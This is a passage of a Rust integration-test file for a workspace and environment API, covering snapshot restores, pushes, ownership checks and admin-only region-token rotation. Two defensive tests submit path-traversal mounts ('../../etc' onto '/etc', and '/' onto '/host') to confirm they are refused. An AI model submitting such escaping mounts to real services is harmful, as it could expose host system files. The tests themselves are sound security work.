+ rec + } + None => Recorder::default(), + }; + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + let app = router(Arc::new(state)); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + Server { base: format!("http://{addr}"), store, jwt, rec } +} + +async fn server(routes: Vec) -> Server { + server_with(&[], Some(routes)).await +} + +/// The same, plus a stand-in server tier — needed by every route that reads snapshots, since those +/// records do not live in the cluster. +async fn server_with_registry(routes: Vec, registry_base: String) -> Server { + let store = Arc::new(MemStore::new()); + region(&store, "centralindia").await; + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let (client, rec) = mock_client(routes); + let state = ApiState::new(store.clone() as Arc, jwt.clone(), HashSet::new()) + .with_kube(client) + .with_upstream(Arc::new(Upstream::new(registry_base, "peer-secret"))); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + let app = router(Arc::new(state)); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + Server { base: format!("http://{addr}"), store, jwt, rec } +} + +/// `karthik` is the only member of team `acme` — enough to prove that team membership does not +/// reach another member's WORKSPACE snapshots. +struct StubMembership; + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::MembershipCheck for StubMembership { + async fn teams_for(&self, user: &str) -> Vec { + if user == "karthik" { vec!["acme".into()] } else { vec![] } + } +} + +async fn server_with_teams(routes: Vec, registry_base: String) -> Server { + let store = Arc::new(MemStore::new()); + region(&store, "centralindia").await; + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let (client, rec) = mock_client(routes); + let state = ApiState::new(store.clone() as Arc, jwt.clone(), HashSet::new()) + .with_kube(client) + .with_membership(Arc::new(StubMembership)) + .with_upstream(Arc::new(Upstream::new(registry_base, "peer-secret"))); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + let app = router(Arc::new(state)); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + Server { base: format!("http://{addr}"), store, jwt, rec } +} + +/// A workspace's snapshots are its OWNER's undo history, not a team artifact: workspace volumes +/// live under the person's own owner label, never a team's, so a teammate searching for the id +/// finds nothing and gets the same 404 a stranger does. (Environment volumes ARE team-scoped — +/// that asymmetry is the product rule, and this is the test that keeps it true.) +#[tokio::test] +async fn a_teammate_cannot_restore_another_members_workspace_snapshot() { + let up = stub_registry( + // Neither the caller's own label nor their team's holds bob's volume. + vec![("karthik", json!([])), ("acme", json!([]))], + vec![( + "bob/ws-bob", + json!([{"id": "snap-bob", "state": null, "lineage": [], + "region": "centralindia", "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + let s = server_with_teams(vec![], up).await; + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/restore", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": "not-mine", "snapshot_id": "snap-bob"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 404, "{}", resp.text().await.unwrap()); + assert!(s.rec.sent("POST", &format!("{API}/workspaces")).is_empty(), "nothing written"); +} + +fn token(jwt: &Jwt, username: &str) -> String { + jwt.mint(&format!("{username}@example.com"), "Test User", Some(username)).unwrap() +} + +async fn region(store: &MemStore, id: &str) { + store + .put_region(&rustic_git_workspaces::model::Region { + id: id.into(), + name: id.into(), + storage_account: "acct".into(), + blob_container: "wslayers".into(), + status: "active".into(), + agent_token: format!("tok-{id}"), + }) + .await + .unwrap(); +} + +/// One object per user action. The API used to write two and pick a node; both are the +/// controllers' now, and the node it would have picked is a fact it has no way to know yet. +#[tokio::test] +async fn create_ws_writes_exactly_one_unplaced_workspace() { + let s = server(create_routes()).await; + let tok = token(&s.jwt, "karthik"); + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20, "image": "nginx:alpine"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + + let calls = s.rec.calls(); + assert!(!calls.iter().any(|c| c.contains("/volumes")), "the API never creates a Volume: {calls:?}"); + assert!(!calls.iter().any(|c| c.contains("ownerbindings")), "the API never places: {calls:?}"); + assert!(!calls.iter().any(|c| c.contains("/nodes")), "and never reads node capacity: {calls:?}"); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["name"], "web"); + assert_eq!(w["spec"]["desiredState"], "running"); + assert_eq!(w["spec"]["storage"]["quotaGb"], 20); + assert!(w["spec"]["storage"]["source"].is_null(), "a fresh workspace has no source volume"); + // audit H1, in its controller-ownership form: the Volume's node comes from its parent's + // status, which is now a controller invariant. The API's half is writing NO node at all — + // two places allowed to name one is two places that can disagree about where the data is. + assert!(w["spec"].get("nodeName").is_none(), "placement is a fact the controllers establish: {w}"); + assert!(w["spec"].get("volumeRef").is_none(), "a volumeRef in spec was a wish about a fact: {w}"); + assert_eq!(w["metadata"]["labels"]["rustic-git.io/owner"], "karthik"); +} + +/// A clone no longer copies a node from the source: locality is the claim's job, via the source's +/// `status.compatibleNodes`. +#[tokio::test] +async fn clone_asks_for_a_clone_source_and_names_no_node() { + let mut src = placed_ws("ws-src", "karthik"); + src["status"]["nodeName"] = json!("node-z"); + src["status"]["compatibleNodes"] = json!(["node-z"]); + let s = server(vec![ + get(format!("{API}/workspaces/ws-src"), src), + post(format!("{API}/workspaces"), ws_obj("ws-new", "karthik")), + ]) + .await; + let tok = token(&s.jwt, "karthik"); + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-src/clone", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "copy"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["storage"]["source"]["cloneOf"]["volume"], "ws-src"); + assert_eq!(w["spec"]["storage"]["quotaGb"], 20, "the copy inherits the source's quota"); + assert!(w["spec"].get("nodeName").is_none(), "{w}"); + assert!(!s.rec.calls().iter().any(|c| c.contains("/volumes")), "a clone reads no Volume"); +} + +/// A release-1 source has no `spec.storage`, and 0 is not a default anywhere — `k8s::local_pv` +/// formats the quota straight into a `0Gi` PV. The size of a legacy source lives on its Volume, +/// which is the object the controller sizes the disk from. +#[tokio::test] +async fn cloning_a_legacy_source_takes_the_quota_off_its_volume() { + let mut src = placed_ws("ws-src", "karthik"); + src["spec"].as_object_mut().unwrap().remove("storage"); + let mut vol = vol_obj("ws-src", "karthik"); + vol["spec"]["quotaGb"] = json!(55); + let s = server(vec![ + get(format!("{API}/workspaces/ws-src"), src), + get(format!("{API}/volumes/ws-src"), vol), + post(format!("{API}/workspaces"), ws_obj("ws-new", "karthik")), + ]) + .await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-src/clone", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": "copy"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["storage"]["quotaGb"], 55, "never 0: {w}"); +} + +/// A restore names a SNAPSHOT, and the snapshot is found in the server tier's history — so this +/// works when the source workspace is long gone, which is when a restore is most wanted. +#[tokio::test] +async fn restore_of_a_deleted_workspaces_snapshot_succeeds() { + let up = stub_registry( + vec![("karthik", json!([{"name": "ws-gone", "latest_ms": 1i64}]))], + vec![( + "karthik/ws-gone", + json!([{"id": "snap-old", "state": {"kind": "workspace", "name": "api-scratch"}, + "lineage": [], "region": "centralindia", "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + // No `Workspace` named `ws-gone` anywhere: the source was deleted. + let routes = vec![ + rustic_git_workspaces::kube_test::not_found(format!("{API}/workspaces/ws-gone")), + post(format!("{API}/workspaces"), ws_obj("ws-new", "karthik")), + ]; + let s = server_with_registry(routes, up).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/restore", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web-old", "snapshot_id": "snap-old"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["storage"]["source"]["restoreOf"]["volume"], "ws-gone", "found by snapshot id: {w}"); + // `rename_all = "camelCase"` on the enum renames VARIANTS, not struct-variant fields — the + // wire key is the field's own name. + assert_eq!(w["spec"]["storage"]["source"]["restoreOf"]["snapshot_id"], "snap-old"); + assert_eq!(w["spec"]["storage"]["quotaGb"], 20, "the standard quota, the source being gone: {w}"); + assert_eq!(w["spec"]["region"], "centralindia", "the record knows where its bytes are"); + assert!(w["spec"].get("nodeName").is_none(), "a restore places nothing either: {w}"); +} + +/// A restore also carries the RECORD's region onto the volume source: the blobs live where they +/// were pushed, and an agent told nothing reads its own region's container and finds nothing. +#[tokio::test] +async fn a_restore_carries_the_records_region_onto_the_source() { + let up = stub_registry( + vec![("karthik", json!([{"name": "ws-gone", "latest_ms": 1i64}]))], + vec![( + "karthik/ws-gone", + json!([{"id": "snap-old", "state": null, "lineage": [], + "region": "centralindia-vm", "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + let routes = vec![ + rustic_git_workspaces::kube_test::not_found(format!("{API}/workspaces/ws-gone")), + post(format!("{API}/workspaces"), ws_obj("ws-new", "karthik")), + ]; + let s = server_with_registry(routes, up).await; + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/restore", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": "web-old", "snapshot_id": "snap-old"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["storage"]["source"]["restoreOf"]["region"], "centralindia-vm", "{w}"); +} + +/// An environment can be restored from a snapshot too — one unplaced Environment whose storage +/// source is the same `restoreOf` a workspace restore builds, resolved through the same +/// snapshot lookup. The services are the caller's: a snapshot records the DATA, never a compose +/// file, so restoring with none is legal and gives the volume back. +#[tokio::test] +async fn an_environment_is_restored_from_a_snapshot_with_the_callers_services() { + let up = stub_registry( + vec![("karthik", json!([{"name": "env-gone", "latest_ms": 1i64}]))], + vec![( + "karthik/env-gone", + json!([{"id": "snap-env", "state": {"kind": "environment", "name": "staging"}, + "lineage": [], "region": "centralindia-vm", "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + let s = server_with_registry(vec![post(format!("{API}/environments"), env_obj("env-new", "karthik"))], up).await; + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments/restore", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({ + "name": "staging-recovered", + "snapshot_id": "snap-env", + "services": [{"name": "db", "image": "mongo:7", "command": [], "env": {}, "mounts": [{"folder": "data", "path": "/data/db"}]}] + })) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let e = &s.rec.sent("POST", &format!("{API}/environments"))[0]; + assert_eq!(e["spec"]["storage"]["source"]["restoreOf"]["volume"], "env-gone", "{e}"); + assert_eq!(e["spec"]["storage"]["source"]["restoreOf"]["snapshot_id"], "snap-env"); + assert_eq!(e["spec"]["storage"]["source"]["restoreOf"]["region"], "centralindia-vm"); + assert_eq!(e["spec"]["region"], "centralindia-vm", "runs where its bytes already are by default"); + assert_eq!(e["spec"]["services"][0]["name"], "db"); + assert!(e["spec"].get("nodeName").is_none(), "a restore places nothing: {e}"); +} + +/// Restoring a TEAM's snapshot produces a TEAM environment, reading the volume from the team's +/// registry label. Both halves were wrong: the environment was created under the caller, and the +/// agent was told to restore from the caller's label — so `acme/env-x`'s snapshot was looked up as +/// `karthik/env-x` and failed `NoSuchSnapshot`. +#[tokio::test] +async fn restoring_a_teams_snapshot_creates_a_team_environment_from_the_teams_volume() { + let up = stub_registry( + vec![("karthik", json!([])), ("acme", json!([{"name": "env-x", "latest_ms": 1i64}]))], + vec![( + "acme/env-x", + json!([{"id": "snap-team", "state": {"kind": "environment", "name": "staging"}, + "lineage": [], "region": "centralindia", "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + let s = server_with_teams(vec![post(format!("{API}/environments"), env_obj("env-new", "acme"))], up).await; + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments/restore", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": "staging-recovered", "snapshot_id": "snap-team"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let e = &s.rec.sent("POST", &format!("{API}/environments"))[0]; + assert_eq!(e["spec"]["owner"], "acme", "a team's snapshot restores as the team's: {e}"); + assert_eq!(e["spec"]["storage"]["source"]["restoreOf"]["owner"], "acme", "read from the team's label: {e}"); + assert_eq!(e["spec"]["storage"]["source"]["restoreOf"]["volume"], "env-x"); +} + +/// An unnamed restore is refused before anything is written, the same as a create. +#[tokio::test] +async fn an_environment_restore_refuses_an_empty_name() { + let s = server_with_registry(vec![], stub_registry(vec![], vec![]).await).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments/restore", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": " ", "snapshot_id": "snap-env"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 422, "{}", resp.text().await.unwrap()); + assert!(s.rec.sent("POST", &format!("{API}/environments")).is_empty(), "nothing written"); +} + +/// `check_services` is the trust boundary for mounts and a restore is just as much a caller-authored +/// service list as a create is — an escaping mount must not get in through the new door. +#[tokio::test] +async fn an_environment_restore_refuses_an_escaping_mount() { + let s = server_with_registry(vec![], stub_registry(vec![], vec![]).await).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments/restore", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({ + "name": "bad", + "snapshot_id": "snap-env", + "services": [{"name": "x", "image": "alpine", "command": [], "env": {}, "mounts": [{"folder": "../../etc", "path": "/etc"}]}] + })) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 400, "{}", resp.text().await.unwrap()); + assert!(s.rec.sent("POST", &format!("{API}/environments")).is_empty(), "nothing written"); +} + +/// A live source still sizes its own restore, and an unknown field (the old `src_workspace`, which +/// an older client may still send) is ignored rather than refused. +#[tokio::test] +async fn restore_from_a_live_workspace_takes_its_quota() { + let up = stub_registry( + vec![("karthik", json!([{"name": "ws-src", "latest_ms": 1i64}]))], + vec![( + "karthik/ws-src", + json!([{"id": "snap-old", "state": null, "lineage": [], "region": "centralindia", + "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + let mut src = placed_ws("ws-src", "karthik"); + src["spec"]["storage"]["quotaGb"] = json!(55); + let routes = vec![ + get(format!("{API}/workspaces/ws-src"), src), + post(format!("{API}/workspaces"), ws_obj("ws-new", "karthik")), + ]; + let s = server_with_registry(routes, up).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/restore", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web-old", "snapshot_id": "snap-old", "src_workspace": "ignored"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["storage"]["quotaGb"], 55, "the live source sizes its own restore: {w}"); +} + +/// A snapshot id in nobody's history the caller can read is a 404, and nothing is written — the +/// same answer another owner's snapshot id gets, deliberately indistinguishable. +#[tokio::test] +async fn restore_of_an_unknown_or_foreign_snapshot_is_not_found() { + let up = stub_registry( + vec![("karthik", json!([{"name": "ws-mine", "latest_ms": 1i64}])), + ("alice", json!([{"name": "ws-hers", "latest_ms": 1i64}]))], + vec![ + ("karthik/ws-mine", json!([{"id": "snap-mine", "state": null, "lineage": [], + "region": "centralindia", "created_at": "2026-08-27T09:00:00Z"}])), + ("alice/ws-hers", json!([{"id": "snap-hers", "state": null, "lineage": [], + "region": "centralindia", "created_at": "2026-08-27T09:00:00Z"}])), + ], + ) + .await; + let s = server_with_registry(vec![], up).await; + let tok = token(&s.jwt, "karthik"); + + for id in ["nope", "snap-hers"] { + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/restore", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web-old", "snapshot_id": id})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 404, "snapshot id {id}"); + } + assert!(!s.rec.calls().iter().any(|c| c.starts_with("POST"))); +} + +#[tokio::test] +async fn start_and_stop_patch_the_desired_state() { + let routes = vec![ + get(format!("{API}/workspaces/ws-1"), placed_ws("ws-1", "karthik")), + Route { method: "PATCH", path: format!("{API}/workspaces/ws-1"), status: 200, body: placed_ws("ws-1", "karthik") }, + ]; + let s = server(routes).await; + let tok = token(&s.jwt, "karthik"); + let client = reqwest::Client::new(); + + for (verb, want) in [("stop", "stopped"), ("start", "running")] { + let resp = client + .post(format!("{}/v1/workspaces/ws-1/{verb}", s.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202); + let patch = s.rec.sent("PATCH", &format!("{API}/workspaces/ws-1")).pop().unwrap(); + assert_eq!(patch["spec"]["desiredState"], want); + } +} + +/// Delete is ONE call. The "Workspace first, then Volume" ordering became the API server's job the +/// moment the Volume got an ownerReference. +#[tokio::test] +async fn delete_is_one_call() { + let routes = vec![ + get(format!("{API}/workspaces/ws-1"), placed_ws("ws-1", "karthik")), + Route { method: "DELETE", path: format!("{API}/workspaces/ws-1"), status: 200, body: placed_ws("ws-1", "karthik") }, + ]; + let s = server(routes).await; + + let resp = reqwest::Client::new() + .delete(format!("{}/v1/workspaces/ws-1", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let deletes: Vec<_> = s.rec.calls().into_iter().filter(|c| c.starts_with("DELETE")).collect(); + assert_eq!(deletes, vec![format!("DELETE {API}/workspaces/ws-1")], "the GC removes the Volume"); +} + +#[tokio::test] +async fn missing_token_is_unauthorized() { + let s = server(vec![]).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 401); +} + +#[tokio::test] +async fn wrong_token_is_unauthorized() { + let s = server(vec![]).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth("not-a-real-token") + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 401); +} + +/// No cluster configured (dev, or no kubeconfig) — workspace routes answer 503, not a 404 that +/// would read as "this feature doesn't exist". +#[tokio::test] +async fn workspace_routes_without_a_cluster_are_503() { + let s = server_with(&[], None).await; + let tok = token(&s.jwt, "karthik"); + let client = reqwest::Client::new(); + + let resp = client + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 503); + + let resp = client.get(format!("{}/v1/workspaces", s.base)).bearer_auth(&tok).send().await.unwrap(); + assert_eq!(resp.status(), 503); + + let resp = client.get(format!("{}/v1/environments", s.base)).bearer_auth(&tok).send().await.unwrap(); + assert_eq!(resp.status(), 503); +} + +#[tokio::test] +async fn region_create_requires_admin() { + let s = server_with(&["admin@example.com"], None).await; + let client = reqwest::Client::new(); + + let non_admin = token(&s.jwt, "karthik"); + let resp = client + .post(format!("{}/v1/regions", s.base)) + .bearer_auth(&non_admin) + .json(&json!({"id": "centralindia", "name": "Central India", "storage_account": "a", "blob_container": "b"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 403); + + let admin = token(&s.jwt, "admin"); + let resp = client + .post(format!("{}/v1/regions", s.base)) + .bearer_auth(&admin) + .json(&json!({"id": "centralindia", "name": "Central India", "storage_account": "a", "blob_container": "b"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 201); +} + +/// A leaked agent token must be revocable. `create_region` preserves an existing token by design, +/// so without this endpoint the only way to invalidate one was editing the store by hand. +#[tokio::test] +async fn rotating_a_region_token_replaces_it_and_is_admin_only() { + let s = server_with(&["admin@example.com"], None).await; + let client = reqwest::Client::new(); + let admin = token(&s.jwt, "admin"); + + let created: serde_json::Value = client + .post(format!("{}/v1/regions", s.base)) + .bearer_auth(&admin) + .json(&json!({"id": "centralindia", "name": "Central India", "storage_account": "a", "blob_container": "b"})) + .send() + .await + .unwrap() + .json() + .await + .unwrap(); + let first = created["agent_token"].as_str().unwrap().to_string(); + assert!(!first.is_empty(), "a region is created with a token"); + + // Re-registering must NOT rotate — that is the behaviour rotate exists to work around. + let again: serde_json::Value = client + .post(format!("{}/v1/regions", s.base)) + .bearer_auth(&admin) + .json(&json!({"id": "centralindia", "name": "Central India", "storage_account": "a", "blob_container": "b"})) + .send() + .await + .unwrap() + .json() + .await + .unwrap(); + assert_eq!(again["agent_token"].as_str().unwrap(), first, "re-register keeps the token"); + + // A non-admin cannot rotate somebody's region credential. + let resp = client + .post(format!("{}/v1/regions/centralindia/rotate-token", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 403); + + let rotated: serde_json::Value = client + .post(format!("{}/v1/regions/centralindia/rotate-token", s.base)) + .bearer_auth(&admin) + .send() + .await + .unwrap() + .json() + .await + .unwrap(); + let second = rotated["agent_token"].as_str().unwrap(); + assert_ne!(second, first, "rotation must actually replace the token"); + assert!(!second.is_empty()); + + // Unknown region is a 404, not a silently-created one. + let resp = client + .post(format!("{}/v1/regions/nosuch/rotate-token", s.base)) + .bearer_auth(&admin) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 404); +} + +/// Same rule as `create_ws`, on the environment side. +#[tokio::test] +async fn create_env_writes_exactly_one_unplaced_environment() { + let s = server(create_routes()).await; + region(&s.store, "centralindia").await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app-dev", "region": "centralindia", "services": []})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let doc: Value = resp.json().await.unwrap(); + assert_eq!(doc["state"], "creating", "an object the controller has not seen yet has no status"); + + assert!(!s.rec.calls().iter().any(|c| c.contains("/volumes")), "the API never creates a Volume"); + let e = s.rec.sent("POST", &format!("{API}/environments")).remove(0); + assert_eq!(e["spec"]["name"], "app-dev"); + assert_eq!(e["spec"]["desiredState"], "running"); + assert_eq!(e["metadata"]["labels"]["rustic-git.io/kind"], "environment"); + assert!(e["spec"].get("nodeName").is_none(), "placement is the controllers': {e}"); +} + +/// The C1 fix: a traversing mount is refused BEFORE anything is written, so a root controller +/// never sees one. +#[tokio::test] +async fn a_traversing_mount_is_refused_before_any_object_is_written() { + let s = server(create_routes()).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({ + "name": "app-dev", "region": "centralindia", + "services": [{"name": "web", "image": "nginx", "command": [], "env": {}, "ports": [], + "mounts": [{"folder": "/", "path": "/host"}]}] + })) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 400); + assert!(s.rec.calls().is_empty(), "nothing may be written before the mount check"); +} + +/// The agent work surface (register/work/jobs/{id}/done|failed) lives on the server tier +/// (`bins/server`'s `/vol-agent/*`) — this router never mounted it. +#[tokio::test] +async fn agent_routes_are_gone_from_the_api_router() { + let s = server(vec![]).await; + let resp = reqwest::Client::new().post(format!("{}/v1/agent/register", s.base)).send().await.unwrap(); + assert_eq!(resp.status(), 404); +} + +// ── push ───────────────────────────────────────────────────────────────── + +/// A created `SnapshotRequest` as the API server echoes it back. +fn snap_obj() -> serde_json::Value { + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "SnapshotRequest", + "metadata": {"name": "snap-1"}, + "spec": {"volume": "ws-1"}, + }) +} + +/// Push is still the one mutating verb; the OBJECT is the work item now — a `SnapshotRequest` with +/// somewhere to put the outcome, which the annotation it replaces did not have. The volume it names +/// is the subvolume that gets pushed, and the owner is read off that volume, never off the caller. +#[tokio::test] +async fn push_creates_a_snapshot_request_for_the_volume_with_its_message() { + let routes = vec![ + get(format!("{API}/workspaces/ws-1"), placed_ws("ws-1", "karthik")), + get(format!("{API}/volumes/ws-1"), vol_obj("ws-1", "karthik")), + Route { method: "POST", path: format!("{API}/snapshotrequests"), status: 201, body: snap_obj() }, + ]; + let s = server(routes).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/push", s.base)) + .bearer_auth(&tok) + .json(&json!({"message": "checkpoint"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + + let req = s.rec.sent("POST", &format!("{API}/snapshotrequests")).remove(0); + assert_eq!(req["spec"]["volume"], "ws-1"); + assert_eq!(req["spec"]["message"], "checkpoint"); + assert_eq!(req["metadata"]["labels"]["rustic-git.io/volume"], "ws-1"); + assert_eq!(req["metadata"]["labels"]["rustic-git.io/owner"], "karthik"); + // Set at creation: the work can start on the very first reconcile, and adding the finalizer + // afterwards leaves a window where a delete orphans an in-flight `btrfs send`. + assert_eq!(req["metadata"]["finalizers"][0], "rustic-git.io/snapshot"); +} + +#[tokio::test] +async fn push_with_no_body_omits_the_message() { + let routes = vec![ + get(format!("{API}/workspaces/ws-1"), placed_ws("ws-1", "karthik")), + get(format!("{API}/volumes/ws-1"), vol_obj("ws-1", "karthik")), + Route { method: "POST", path: format!("{API}/snapshotrequests"), status: 201, body: snap_obj() }, + ]; + let s = server(routes).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/push", s.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202); + let req = s.rec.sent("POST", &format!("{API}/snapshotrequests")).remove(0); + assert!(req["spec"].get("message").is_none()); +} + +#[tokio::test] +async fn env_push_targets_the_environments_own_volume() { + let routes = vec![ + get(format!("{API}/environments/env-1"), env_obj("env-1", "karthik")), + get(format!("{API}/volumes/env-1"), vol_obj("env-1", "karthik")), + Route { method: "POST", path: format!("{API}/snapshotrequests"), status: 201, body: snap_obj() }, + ]; + let s = server(routes).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments/env-1/push", s.base)) + .bearer_auth(&tok) + .json(&json!({"message": "snap"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let req = s.rec.sent("POST", &format!("{API}/snapshotrequests")).remove(0); + assert_eq!(req["spec"]["volume"], "env-1"); + assert_eq!(req["spec"]["message"], "snap"); +} + +/// Someone else's workspace is a 404, never a 403 — and no request object is created. +#[tokio::test] +async fn push_on_someone_elses_workspace_is_not_found() { + let routes = vec![get(format!("{API}/workspaces/ws-1"), placed_ws("ws-1", "alice"))]; + let s = server(routes).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/push", s.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 404); + assert!(!s.rec.calls().iter().any(|c| c.starts_with("POST"))); +} + +/// A workspace whose Volume does not exist yet cannot be pushed. 409 "not ready yet", not a 500 and +/// not a silently dropped request. +#[tokio::test] +async fn push_before_the_volume_exists_is_a_conflict() { + let s = server(vec![get(format!("{API}/workspaces/ws-1"), ws_obj("ws-1", "karthik"))]).await; + let tok = token(&s.jwt, "karthik"); + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/push", s.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 409); + assert!(!s.rec.calls().iter().any(|c| c.starts_with("POST")), "no request object for a volume-less push"); +} + +/// The retry the create's 5 s placement wait defers to. Seeded pods REQUIRE the key mount, so a +/// user whose very first workspace outran its namespace has to get the key on some later request — +/// and a list is the one request every client makes. +#[tokio::test] +async fn listing_reinstalls_the_platform_key_when_the_namespace_secret_is_missing() { + let tmp = tempfile::tempdir().unwrap(); + let keys = Arc::new( + rustic_git_storage::store::Store::open( + Arc::new(object_store::memory::InMemory::new()), + tmp.path().join("cache"), + false, + ) + .await + .unwrap(), + ); + keys.rotate_user_key("karthik", "PRIVATE KEY", "SHA256:abc", None).await.unwrap(); + + let list = json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "WorkspaceList", "metadata": {}, + "items": [placed_ws("ws-1", "karthik")] + }); + // No route for the Secret GET: the mock 404s it, which is exactly "the namespace has no key". + let routes = vec![ + get(format!("{API}/workspaces"), list), + get(format!("{API}/snapshotrequests"), json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "SnapshotRequestList", "metadata": {}, "items": [] + })), + Route { + method: "PATCH", + path: "/api/v1/namespaces/ws-karthik/secrets/user-key".into(), + status: 200, + body: json!({"apiVersion": "v1", "kind": "Secret", "metadata": {"name": "user-key"}}), + }, + 